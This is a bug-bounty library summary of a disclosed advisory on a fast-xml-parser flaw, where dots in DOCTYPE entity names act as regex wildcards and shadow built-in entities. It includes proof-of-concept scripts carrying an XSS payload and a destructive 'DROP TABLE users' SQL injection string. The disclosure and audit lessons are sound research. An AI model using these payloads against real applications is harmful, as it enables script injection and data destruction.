# fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

A dot in a DOCTYPE entity name acts as a regex wildcard in fast-xml-parser, letting attackers shadow built-in entities like < and inject XSS payloads.

- Payout: Research
- Severity: critical
- Program: fast-xml-parser
- Found by: Ochk0, yuezk
- Disclosed: 2026-02-20
- CVE: CVE-2026-25896
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m7jm-9gc2-mpf2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-m7jm-9gc2-mpf2
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:sqli vuln:xss

**Target:** XML parser entity replacement (DocTypeReader.js / EntitiesParser.js)
**Root cause:** Entity names are interpolated unescaped into RegExp(`&${entityName};`), so a `.` in a valid XML name becomes a wildcard matching any char; the prior CVE-2023-34104 fix blacklisted other metacharacters but missed the period.
**Steps:**
1. Craft XML with `<!DOCTYPE foo [<!ENTITY l. "<img src=x onerror=alert(1)>">]>`
2. Include `&lt;` in the document body
3. Parse with `new XMLParser().parse(xml)` (default processEntities: true)
4. Observe `&lt;` replaced by the entity value, yielding injected HTML in output
**How found:** Reviewed the CVE-2023-34104 fix, noticed the metacharacter blacklist omitted `.` despite it being valid in XML names, and traced entity names into `RegExp()` construction to confirm wildcard behavior.
**Exploitation:** Attacker supplies untrusted XML whose DOCTYPE defines entities named `l.`, `g.`, `am.`, `quo.`, `apo.`; the wildcard regex matches built-in entity references in the body and substitutes arbitrary strings. When the app renders parsed output via innerHTML/template/SSR, the injected `<img onerror>` executes; `&` shadowing also enables SQL injection in downstream queries.
**Escalation:** Shadowing all five built-in entities (lt, gt, amp, quot, apos) gives full control over decoded output, turning any entity-encoding-dependent sink (HTML, SQL) into an injection point.
**Insight:** When auditing fixes for regex-injection CVEs, check whether the blacklist covers every regex metacharacter that is also legal in the input grammar — `.` is valid in XML names and is a wildcard; also check parallel code paths (v5 DocTypeReader, v6 EntitiesParser) for the same omission.

## Proof of concept (copied exactly from the original report)

**PoC shadowing &lt; with entity 'l.'**

```
const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
```

**PoC shadowing &amp; for SQL injection**

```
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
```

